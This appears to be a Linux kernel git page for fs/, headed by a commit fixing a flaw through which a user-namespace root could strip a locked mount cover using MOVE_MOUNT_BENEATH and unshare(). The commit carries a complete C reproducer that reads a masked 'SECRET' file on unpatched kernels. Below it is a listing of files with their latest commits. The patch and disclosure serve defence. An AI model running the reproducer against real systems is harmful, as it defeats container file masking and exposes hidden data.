linux/fs
Christian Brauner 69fbe94f80
namespace: a mount that copy_tree() leaves out can't take over a lock
Since commit c62a476693 ("move_mount: transfer MNT_LOCKED") a mount
can be moved beneath a locked mount. The lock moves from the old cover
to the new mount which takes over the job of hiding what's under it and
the old cover can be unmounted. That works as long as the new mount
stays. But the caller picks the new mount and copy_tree() leaves a
mount of a mount namespace file out of every copy made without
CL_COPY_MNT_NS_FILE, together with everything mounted on it, and never
looks at MNT_LOCKED. unshare(CLONE_NEWNS) and mount propagation make
such copies.

So a task that is root in its own user namespace gets rid of a locked
cover on a file without a race and without touching the filesystem
below it. It makes a child with a mount namespace of its own, binds the
child's /proc/<pid>/ns/mnt beneath the cover with MOVE_MOUNT_BENEATH,
which hands the lock to that bind, and calls unshare(CLONE_NEWNS). The
new mount namespace has nothing on the file. That's the usual way to
mask a single file, a bind of /dev/null or of an empty file. With a
bind of an ordinary file the file stays covered.

copy_tree() already refuses to leave out a locked unbindable mount with
-EPERM since commit df7342b240 ("mount: Don't allow copying
MNT_UNBINDABLE|MNT_LOCKED mounts"). Do the same for a locked mount of a
mount namespace file. That also covers a tree copied with
CL_COPY_MNT_NS_FILE and attached into a mount namespace of another user
namespace where lock_mnt_tree() locks it. Note that unshare(CLONE_NEWNS)
and clone(CLONE_NEWNS) fail with EPERM from such a mount namespace from
then on. The mount can't be left out and it can't be unmounted.

And refuse to move a mount of a mount namespace file beneath a locked
mount in the first place. Otherwise the task ends up with a mount it
can't unmount and an unshare() that fails for good.

Chris also found a second mount that goes away by itself, a clone of an
automounted mount that shrink_submounts() took along with its parent.
Commit f78ddcc872 ("namespace: never expire a locked mount") took
care of that one.

Chris's reproducer is appended. Mode nsfile reads SECRET after the
unshare() on 7.3-rc7, with this patch the move_mount() fails with
EINVAL and the file stays covered. nsfile-control uses an ordinary file
and reads MASK both ways.

  // SPDX-License-Identifier: GPL-2.0
  /*
   * Get rid of a locked cover with MOVE_MOUNT_BENEATH.
   *
   * The "admin" (root) makes a tmpfs W:
   *     W/D         file, holds SECRET, covered by a bind of a file with MASK
   *     W/Dd/inner  file, holds SECRET, Dd is covered by a bind of a directory
   *                 whose "inner" holds MASK
   *     W/own       directory of uid 1000 with the file "mine" and the
   *                 directory "minedir", whose "inner" holds MINE
   *     W/dbg       debugfs, mode 755. dbg/tracing is an automount point
   * The "attacker" is uid 1000. It enters a new user namespace with a new mount
   * namespace, so W and both covers are locked there.
   *
   * usage: prog MODE
   *   plain      put a bind of own/mine beneath the cover of D, unmount the cover
   *   nsfile     put a bind of the mount namespace file of a child beneath the
   *              cover of D, then unshare(CLONE_NEWNS)
   *   nsfile-control    the same with a bind of own/mine
   *   shrink     put a bind of the automounted tracefs beneath the cover of Dd,
   *              unmount the cover, put a tmpfs beneath W, call umount(W), which fails
   *   shrink-control    the same with a bind of own/minedir
   * The environment variable AUTOMOUNT_DIR names another automount point for "shrink".
   */
  #define _GNU_SOURCE
  #include <errno.h>
  #include <fcntl.h>
  #include <grp.h>
  #include <sched.h>
  #include <signal.h>
  #include <stdio.h>
  #include <stdlib.h>
  #include <string.h>
  #include <unistd.h>
  #include <sys/mount.h>
  #include <sys/prctl.h>
  #include <sys/stat.h>
  #include <sys/wait.h>

  #ifndef MOVE_MOUNT_BENEATH
  #define MOVE_MOUNT_BENEATH 0x00000200
  #endif
  #define W "/run/x2"

  static void die(const char *what)
  {
  	fprintf(stderr, "FATAL %s: %s\n", what, strerror(errno));
  	exit(2);
  }

  static void put_file(const char *name, const char *content)
  {
  	int fd = open(name, O_CREAT | O_WRONLY | O_TRUNC, 0644);

  	if (fd < 0 || write(fd, content, strlen(content)) < 0)
  		die(name);
  	close(fd);
  }

  static void show(const char *path)
  {
  	char buf[32] = "";
  	int fd = open(path, O_RDONLY);

  	if (fd < 0) {
  		printf("attacker: open(%s) = %s\n", path, strerror(errno));
  		return;
  	}
  	if (read(fd, buf, sizeof(buf) - 1) < 0)
  		snprintf(buf, sizeof(buf), "<%s>", strerror(errno));
  	close(fd);
  	printf("attacker: read(%s) = \"%s\"%s\n", path, buf,
  	       strncmp(buf, "SECRET", 6) ? "" : "   <-- HIT");
  }

  static int say(const char *what, int ret)
  {
  	printf("attacker: %s: %s\n", what, ret ? strerror(errno) : "ok");
  	return ret;
  }

  static void write_str(const char *path, const char *s)
  {
  	int fd = open(path, O_WRONLY);

  	if (fd < 0 || write(fd, s, strlen(s)) < 0)
  		die(path);
  	close(fd);
  }

  static void mounts(void)
  {
  	if (system("grep x2 /proc/self/mountinfo"))
  		printf("attacker: no mounts listed\n");
  }

  static void admin_setup(void)
  {
  	if (unshare(CLONE_NEWNS) || mount(NULL, "/", NULL, MS_REC | MS_PRIVATE, NULL))
  		die("unshare");
  	mkdir(W, 0755);
  	if (mount("W", W, "tmpfs", 0, "mode=755"))
  		die("mount W");
  	if (mkdir(W "/Dd", 0755) || mkdir(W "/maskdir", 0755) || mkdir(W "/dbg", 0755) ||
  	    mkdir(W "/own", 0755) || mkdir(W "/own/minedir", 0755))
  		die("mkdir");
  	put_file(W "/D", "SECRET");
  	put_file(W "/Dd/inner", "SECRET");
  	put_file(W "/mask", "MASK");
  	put_file(W "/maskdir/inner", "MASK");
  	put_file(W "/own/mine", "MINE");
  	put_file(W "/own/minedir/inner", "MINE");
  	if (mount(W "/mask", W "/D", NULL, MS_BIND, NULL) ||
  	    mount(W "/maskdir", W "/Dd", NULL, MS_BIND, NULL))
  		die("covers");
  	if (mount("dbg", W "/dbg", "debugfs", 0, "mode=755"))
  		die("mount debugfs");
  }

  static void become_attacker(void)
  {
  	if (setgroups(0, NULL) || setresgid(1000, 1000, 1000) ||
  	    setresuid(1000, 1000, 1000) || prctl(PR_SET_DUMPABLE, 1))
  		die("drop to uid 1000");
  	if (unshare(CLONE_NEWUSER | CLONE_NEWNS))
  		die("unshare user and mount namespace");
  	write_str("/proc/self/setgroups", "deny");
  	write_str("/proc/self/uid_map", "0 1000 1");
  	write_str("/proc/self/gid_map", "0 1000 1");
  }

  /* clone the mount at @src and put the clone beneath the top mount at @where */
  static int beneath(const char *src, const char *where)
  {
  	char what[128];
  	int fd = open_tree(AT_FDCWD, src, OPEN_TREE_CLONE | OPEN_TREE_CLOEXEC);
  	int ret;

  	snprintf(what, sizeof(what), "open_tree(%s, OPEN_TREE_CLONE)", src);
  	if (say(what, fd < 0))
  		return -1;
  	ret = move_mount(fd, "", AT_FDCWD, where,
  			 MOVE_MOUNT_F_EMPTY_PATH | MOVE_MOUNT_BENEATH);
  	snprintf(what, sizeof(what), "move_mount(clone, %s, MOVE_MOUNT_BENEATH)", where);
  	say(what, ret);
  	close(fd);
  	return ret;
  }

  static void do_nsfile(int control)
  {
  	char path[64] = W "/own/mine";
  	int pfd[2];
  	pid_t pid;
  	char c;

  	if (pipe(pfd))
  		die("pipe");
  	pid = fork();
  	if (pid < 0)
  		die("fork");
  	if (!pid) {
  		if (unshare(CLONE_NEWNS) || write(pfd[1], "g", 1) != 1)
  			die("child");
  		pause();
  		exit(0);
  	}
  	if (read(pfd[0], &c, 1) != 1)
  		die("sync");
  	if (!control)
  		snprintf(path, sizeof(path), "/proc/%d/ns/mnt", pid);
  	beneath(path, W "/D");
  	mounts();
  	say("unshare(CLONE_NEWNS)", unshare(CLONE_NEWNS));
  	show(W "/D");
  	mounts();
  	kill(pid, SIGKILL);
  	waitpid(pid, NULL, 0);
  }

  static void do_shrink(int control)
  {
  	const char *automount = getenv("AUTOMOUNT_DIR");
  	int fd, mfd;

  	if (!automount)
  		automount = W "/dbg/tracing";
  	beneath(control ? W "/own/minedir" : automount, W "/Dd");
  	say("umount2(Dd, 0), the old cover", umount2(W "/Dd", 0));
  	say("umount2(Dd, 0), the mount that was put beneath", umount2(W "/Dd", 0));
  	show(W "/Dd/inner");
  	say("umount2(W, 0)", umount2(W, 0));
  	fd = fsopen("tmpfs", FSOPEN_CLOEXEC);
  	if (fd < 0 || fsconfig(fd, FSCONFIG_CMD_CREATE, NULL, NULL, 0))
  		die("fsopen tmpfs");
  	mfd = fsmount(fd, FSMOUNT_CLOEXEC, 0);
  	if (mfd < 0)
  		die("fsmount");
  	say("move_mount(new tmpfs, W, MOVE_MOUNT_BENEATH)",
  	    move_mount(mfd, "", AT_FDCWD, W, MOVE_MOUNT_F_EMPTY_PATH | MOVE_MOUNT_BENEATH));
  	close(mfd);
  	mounts();
  	say("umount2(W, 0)", umount2(W, 0));
  	show(W "/Dd/inner");
  	mounts();
  }

  int main(int argc, char **argv)
  {
  	const char *mode = argc > 1 ? argv[1] : "plain";

  	setvbuf(stdout, NULL, _IOLBF, 0);
  	admin_setup();
  	become_attacker();

  	show(W "/D");
  	show(W "/Dd/inner");
  	say("umount2(D, MNT_DETACH)", umount2(W "/D", MNT_DETACH));
  	say("umount2(Dd, MNT_DETACH)", umount2(W "/Dd", MNT_DETACH));

  	if (!strcmp(mode, "plain")) {
  		beneath(W "/own/mine", W "/D");
  		show(W "/D");
  		say("umount2(D, MNT_DETACH), the old cover", umount2(W "/D", MNT_DETACH));
  		show(W "/D");
  		say("umount2(D, MNT_DETACH), the mount that was put beneath",
  		    umount2(W "/D", MNT_DETACH));
  		show(W "/D");
  		mounts();
  	} else if (!strncmp(mode, "nsfile", 6)) {
  		do_nsfile(!strcmp(mode, "nsfile-control"));
  	} else {
  		do_shrink(!strcmp(mode, "shrink-control"));
  	}
  	return 0;
  }

Fixes: c62a476693 ("move_mount: transfer MNT_LOCKED")
Reported-by: Chris Mason <mason@kernel.org>
Cc: stable@vger.kernel.org # v7.1+
Link: https://patch.msgid.link/20261014-work-namei-locked-mnt_ns_file-v1-1-24035bd5d8e9@kernel.org
Signed-off-by: Christian Brauner (Amutable) <brauner@kernel.org>
2026-10-14 22:08:06 +02:00
..
9p 9p: free the session after a grace period 2026-10-14 22:08:03 +02:00
adfs adfs: fix memory leak in sb->s_fs_info 2026-08-31 09:36:20 +02:00
affs vfs-7.3-rc1.sync 2026-08-17 14:21:00 -07:00
afs afs: free the super info after a grace period 2026-10-14 22:08:02 +02:00
autofs autofs: ignore notification errors from a replaced pipe 2026-10-14 22:08:04 +02:00
befs
bfs vfs-7.3-rc1.sync 2026-08-17 14:21:00 -07:00
btrfs for-7.3-rc6-tag 2026-10-07 15:58:48 +02:00
cachefiles cachefiles: Fix potential UAF/KASAN warning 2026-08-31 09:54:38 +02:00
ceph kmalloc_obj conversions for v7.3-rc2 2026-09-05 20:45:18 -07:00
coda vfs-7.3-rc1.misc 2026-08-17 12:56:12 -07:00
configfs configfs: unhash the dentry before dropping the item in rmdir 2026-09-07 09:15:05 -07:00
cramfs fs: add dedicated block device open helpers for filesystems 2026-06-29 10:31:52 +02:00
crypto fscrypt updates for 7.3 2026-08-17 19:04:16 -07:00
debugfs debugfs: don't warn about uninitialized debugfs for an error parent 2026-09-11 23:13:07 +02:00
devpts
dlm
ecryptfs eCryptfs updates for 7.3-rc1 2026-08-21 12:32:01 -07:00
efivarfs EFI updates for v7.3 2026-08-23 09:24:34 -07:00
erofs erofs: add missing buf->off in erofs_bread() 2026-09-11 12:16:20 +08:00
exfat This contains a set of nine exfat fixes covering shared writable mappings, 2026-08-22 08:57:28 -07:00
exportfs
ext2 \n 2026-08-20 12:52:35 -07:00
ext4 ext4: free the sbi after a grace period 2026-10-14 22:08:02 +02:00
f2fs f2fs-for-7.3-rc1 2026-08-28 10:48:48 -07:00
fat mm.git review status for master..mm-nonmm-stable 2026-08-23 08:07:11 -07:00
fuse treewide: refresh kmalloc_obj() conversions 2026-09-04 21:37:00 -07:00
gfs2 gfs2 changes 2026-08-17 17:03:34 -07:00
hfs treewide: refresh kmalloc_obj() conversions 2026-09-04 21:37:00 -07:00
hfsplus hfs/hfsplus updates for v7.3 2026-08-17 18:14:32 -07:00
hostfs Remove excl arg to ->create inode_operation 2026-07-31 10:18:30 +02:00
hpfs vfs-7.3-rc1.misc 2026-08-17 12:56:12 -07:00
hugetlbfs mm.git review status for mm-hotfixes-stable..mm-stable 2026-08-20 18:17:08 -07:00
iomap for-7.3/block-20260819 2026-08-20 13:55:16 -07:00
isofs isofs: Fix handling of directories with tight blocks 2026-09-23 18:58:11 +02:00
jbd2 ext4: enable scoped NOFS when starting a handle in nojournal mode 2026-07-22 23:47:06 -04:00
jffs2 vfs-7.3-rc1.misc 2026-08-17 12:56:12 -07:00
jfs vfs-7.3-rc1.misc 2026-08-17 12:56:12 -07:00
kernfs super: make iterate_supers_type() deletion-safe 2026-09-23 09:26:46 +02:00
lockd NFS client updates for Linux 7.3 2026-08-26 15:09:21 -07:00
minix vfs-7.3-rc1.sync 2026-08-17 14:21:00 -07:00
netfs netfs: zero the tail of a short DIO/unbuffered read 2026-09-30 14:24:12 -03:00
nfs mm.git review status for linus..mm-stable 2026-08-27 09:17:06 -07:00
nfs_common NFS/localio: fix ref leak on nfs_uuid_add_file failure 2026-08-10 09:54:35 -04:00
nfsd nfsd-7.3 fixes: 2026-09-14 10:41:30 -07:00
nilfs2 nilfs2 updates for v7.3 2026-08-17 18:34:43 -07:00
nls
notify fsnotify: prevent mark additions during connector teardown 2026-10-14 22:08:05 +02:00
ntfs - Make MFT extension work on existing Windows-created volumes by 2026-09-18 11:02:08 -07:00
ntfs3 ntfs3: free replaced mount options after a grace period 2026-10-14 22:08:04 +02:00
ocfs2 ocfs2/dlm: Protect the recovery list during debugfs reads 2026-10-14 22:08:01 +02:00
omfs vfs-7.3-rc1.misc 2026-08-17 12:56:12 -07:00
openpromfs
orangefs Fixes: 2026-08-20 12:36:26 -07:00
overlayfs ovl: reject lowerdir ending with unescaped backslash 2026-10-14 22:08:05 +02:00
proc mm.git review status for linus..mm-stable 2026-08-27 09:17:06 -07:00
pstore
qnx4
qnx6
quota quota: Don't issue audit messages on quota enforcing 2026-08-21 09:09:54 +02:00
ramfs mm.git review status for linus..mm-stable 2026-08-27 09:17:06 -07:00
resctrl fs/resctrl: Inform user space when status buffer overflowed 2026-07-26 21:40:26 -07:00
romfs vfs-7.3-rc1.super 2026-08-17 13:57:04 -07:00
smb smb: client: split cifsFileInfo bitfields to avoid shared-byte RMW races 2026-09-30 23:17:30 -03:00
squashfs squashfs: Add dictionary size range check to prevent shift-out-of-bounds 2026-09-16 10:26:47 +02:00
sysfs Driver core changes for 7.2-rc1 2026-06-15 12:41:17 +05:30
tests
tracefs eventfs: free the eventfs_inode after an rcu grace period too 2026-10-14 22:08:03 +02:00
ubifs This pull request contains updates for UBI and UBIFS: 2026-08-28 10:59:07 -07:00
udf \n 2026-08-20 12:52:35 -07:00
ufs ufs: do not treat unreadable directory blocks as empty 2026-08-25 14:44:18 +02:00
unicode unicode: free the map after a grace period 2026-10-14 22:08:03 +02:00
vboxsf Remove excl arg to ->create inode_operation 2026-07-31 10:18:30 +02:00
verity fsverity: RCU-delay the freeing of struct fsverity_info 2026-10-05 10:50:37 +02:00
xfs xfs: fix exchange-range-to-eof file size exchange 2026-10-11 08:23:43 +02:00
zonefs zonefs: convert iomap ops to ->iomap_next() 2026-07-31 12:28:50 +02:00
aio.c mm.git review status for mm-hotfixes-stable..mm-stable 2026-08-20 18:17:08 -07:00
anon_inodes.c
attr.c fs,fsverity: remove check for fsverity being enabled in setattr_prepare() 2026-07-28 21:25:03 -07:00
backing-file.c fs: fix user path of nested backing files 2026-08-12 11:36:40 +02:00
bad_inode.c Remove excl arg to ->create inode_operation 2026-07-31 10:18:30 +02:00
binfmt_elf_fdpic.c binfmt_elf_fdpic: consume a stashed PT_INTERP substitute 2026-08-03 10:08:46 +02:00
binfmt_elf.c mm.git review status for mm-hotfixes-stable..mm-stable 2026-08-20 18:17:08 -07:00
binfmt_flat.c
binfmt_misc_bpf.c binfmt_misc: fix racy checks in bpf set_interp kfuncs 2026-09-18 11:20:55 +02:00
binfmt_misc.c treewide: refresh kmalloc_obj() conversions 2026-09-04 21:37:00 -07:00
binfmt_script.c
bpf_fs_kfuncs.c bpf: fs/xattr: don't assume the inode is locked in path_unlink/path_rmdir 2026-09-25 17:22:09 +02:00
buffer.c for-7.3/block-20260819 2026-08-20 13:55:16 -07:00
char_dev.c
compat_binfmt_elf.c
coredump.c treewide: refresh kmalloc_obj() conversions 2026-09-04 21:37:00 -07:00
d_path.c fs: add failfs 2026-07-27 17:17:59 +02:00
dax.c fs/dax: check zero or empty entry before converting xarray entry 2026-09-05 11:47:49 -07:00
dcache.c dcache: don't put a mountpoint on a dentry that's being removed 2026-10-01 14:20:07 +02:00
direct-io.c
drop_caches.c
eventfd.c
eventpoll.c vfs-7.3-rc1.misc 2026-08-17 12:56:12 -07:00
exec.c sched/cache: Introduce task_struct->sched_cache_grp to fix UAF 2026-09-22 10:50:43 +02:00
failfs.c fs: support FD_FAILFS_ROOT in fchdir() 2026-07-27 17:17:59 +02:00
fcntl.c fcntl: refuse F_SET_RW_HINT on an immutable inode 2026-10-04 12:31:38 +02:00
fhandle.c fhandle: decide the subtree check under mount_lock 2026-10-04 12:31:40 +02:00
file_attr.c
file_table.c namespace: drop the file's reference first in dissolve_on_fput() 2026-09-26 15:47:41 +02:00
file.c
filesystems.c fs: fix switch/case indentation in sysfs() syscall 2026-08-12 11:36:40 +02:00
fs_context.c namespace: don't reconfigure internal superblocks via remount and umount 2026-10-01 14:20:07 +02:00
fs_dirent.c
fs_parser.c
fs_pin.c
fs_struct.c fs: stop rewriting paths for PF_EXITING | PF_DUMPCORE 2026-06-29 10:54:43 +02:00
fs-writeback.c writeback: bound cleanup_offline_cgwb() rescans by rotating scanned inodes 2026-09-17 12:32:51 +02:00
fserror.c
fsopen.c namespace: don't reconfigure internal superblocks via remount and umount 2026-10-01 14:20:07 +02:00
init.c
inode.c fs: avoid repeated scans in evict_inodes() 2026-09-17 12:30:14 +02:00
internal.h vfs-7.3-rc1.super 2026-08-17 13:57:04 -07:00
ioctl.c
Kconfig vfs-7.3-rc1.efs 2026-08-17 08:55:58 -07:00
Kconfig.binfmt binfmt_misc: add binfmt_misc_ops bpf struct_ops 2026-08-03 10:08:41 +02:00
kernel_read_file.c fs: use scoped_with_init_fs() for kernel_read_file_from_path_initns() 2026-06-29 10:44:09 +02:00
libfs.c fs: Provide way for filesystem to wait for metadata writeback 2026-07-27 16:25:32 +02:00
locks.c
Makefile vfs-7.3-rc1.failfs 2026-08-17 09:15:52 -07:00
mbcache.c
mnt_idmapping.c
mount.h namespace: rework connected mounts 2026-10-07 00:45:49 +02:00
mpage.c
namei.c namei: test for a negative dentry the way traverse_mounts() does 2026-10-14 22:08:05 +02:00
namespace.c namespace: a mount that copy_tree() leaves out can't take over a lock 2026-10-14 22:08:06 +02:00
nsfs.c vfs-7.2-rc1.misc 2026-06-15 03:59:45 +05:30
nullfs.c nullfs: add an empty immutable regular file 2026-10-07 00:45:49 +02:00
open.c fs: support FD_FAILFS_ROOT in fchroot() 2026-07-27 17:18:00 +02:00
pidfs.c vfs-7.3-rc1.misc 2026-08-17 12:56:12 -07:00
pipe.c pipe: preserve existing fasync readers on writer setup failure 2026-10-14 22:08:02 +02:00
pnode.c namespace: rework connected mounts 2026-10-07 00:45:49 +02:00
pnode.h
posix_acl.c vfs-7.3-rc1.misc 2026-08-17 12:56:12 -07:00
proc_namespace.c fs: add real_fs to track task's actual fs_struct 2026-06-29 10:43:45 +02:00
read_write.c
readdir.c readdir: take no inode lock on an immutable directory 2026-10-04 12:36:13 +02:00
remap_range.c
select.c vfs-7.2-rc1.misc 2026-06-15 03:59:45 +05:30
seq_file.c seq_file: rename mangle_path to seq_mangle_path 2026-07-31 10:09:14 +02:00
signalfd.c
splice.c
stack.c
stat.c fs: annotate inode timestamp accessors 2026-07-31 10:09:11 +02:00
statfs.c
super.c vfs-7.3-rc5.fixes 2026-09-25 11:12:06 -07:00
sync.c
sysctls.c
timerfd.c
utimes.c
xattr.c lsm/stable-7.2 PR 20260615 2026-06-17 12:34:16 +01:00